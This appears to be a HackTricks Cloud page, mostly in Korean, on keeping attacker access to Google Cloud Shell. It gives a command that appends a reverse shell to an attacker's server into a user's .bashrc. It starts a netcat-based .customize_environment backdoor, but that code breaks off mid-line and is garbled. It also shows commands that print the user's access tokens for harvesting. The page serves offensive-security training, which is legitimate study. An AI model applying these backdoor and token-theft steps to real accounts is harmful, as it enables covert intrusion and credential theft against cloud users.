GCP - Cloud Shell Persistence
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud Shell
For more information check:
Persistent Backdoor
Google Cloud Shell은 브라우저에서 추가 비용 없이 클라우드 리소스에 대한 명령줄 접근을 제공합니다.
웹 콘솔에서 또는 **gcloud cloud-shell ssh**를 실행하여 Google Cloud Shell에 접근할 수 있습니다.
이 콘솔은 attackers에게 몇 가지 흥미로운 기능을 제공합니다:
- Google Cloud에 접근 권한이 있는 모든 Google 사용자는 완전히 인증된 Cloud Shell 인스턴스에 접근할 수 있습니다 (Service Accounts도 가능하며, 심지어 조직의 Owners인 경우에도 포함됩니다).
- 해당 인스턴스는 활동이 없을 경우 최소 120일 동안 홈 디렉토리를 유지합니다.
- 조직이 해당 인스턴스의 활동을 모니터링할 수단이 없습니다.
이것은 기본적으로 attacker가 사용자의 홈 디렉토리에 backdoor를 설치할 수 있음을 의미하며, 사용자가 적어도 120일마다 GC Shell에 접속하는 한 backdoor는 유지되고 attacker는 다음을 실행하여 매번 shell을 얻을 수 있습니다:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```홈 폴더에 **.customize_environment**라는 또 다른 파일이 있으며, 존재하는 경우 사용자가 cloud shell에 접근할 때마다 매번 실행됩니다 (이전 기법과 같이). 이전 backdoor를 삽입하거나 다음과 같은 것을 넣어 사용자가 “자주” cloud shell를 사용할 동안 persistence를 유지하세요:
.customize_environment backdoor 만들기
```bash #!/bin/sh apt-get install netcat -y ncWarning
중요한 점은 인증이 필요한 작업이 처음 수행될 때, 사용자 브라우저에 팝업 승인 창이 나타난다는 것입니다. 이 창은 명령이 실행되기 전에 수락되어야 합니다. 예기치 않은 팝업이 나타나면 의심을 유발하여 사용 중인 지속성 방법을 손상시킬 수 있습니다.
This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:
.png)
However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can 사용자의 토큰을 수집할 수 있습니다:
Cloud Shell에서 액세스 토큰 가져오기
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```SSH 연결이 설정되는 방법
기본적으로 다음 세 가지 API 호출이 사용됩니다:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (로컬에서 생성한 public key를 추가합니다)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (instance를 시작합니다)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (google cloud shell의 ip를 알려줍니다)
하지만 자세한 정보는 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 확인할 수 있습니다
참고자료
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

